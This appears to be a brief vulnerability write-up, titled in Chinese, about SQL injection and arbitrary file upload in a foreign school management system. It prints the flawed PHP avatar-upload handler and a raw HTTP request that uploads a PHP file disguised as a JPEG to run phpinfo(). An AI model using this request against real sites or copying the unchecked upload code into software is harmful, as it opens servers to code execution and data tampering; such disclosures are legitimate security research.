国外某教育系统 Sql注入+任意文件上传

<?php include('admin/dbcon.php'); include('session.php');                              if (isset($_POST['change'])) {                               
                                $image = addslashes(file_get_contents($_FILES['image']['tmp_name']));                                $image_name = addslashes($_FILES['image']['name']);                                $image_size = getimagesize($_FILES['image']['tmp_name']);
                                move_uploaded_file($_FILES["image"]["tmp_name"], "admin/uploads/" . $_FILES["image"]["name"]);                                $location = "uploads/" . $_FILES["image"]["name"];                                mysqli_query($conn,"update  student set location = '$location' where student_id  = '$session_id' ")or die(mysqli_error($conn));                                ?>                 <script>                window.location = "dashboard_student.php";  </script>
                       <?php     }  ?>

POST /student_avatar.php?change HTTP/1.1Host: x.x.x.xContent-Length: 202Cache-Control: max-age=0Upgrade-Insecure-Requests: 1Origin: nullContent-Type: multipart/form-data; boundary=----WebKitFormBoundarydAPjrmyKewWuf59HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.3611Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,ru;q=0.8Connection: close
------WebKitFormBoundarydAPjrmyKewWuf59HContent-Disposition: form-data; name="image"; filename="c1.php"Content-Type: image/jpg
<?php phpinfo();?>------WebKitFormBoundarydAPjrmyKewWuf59H--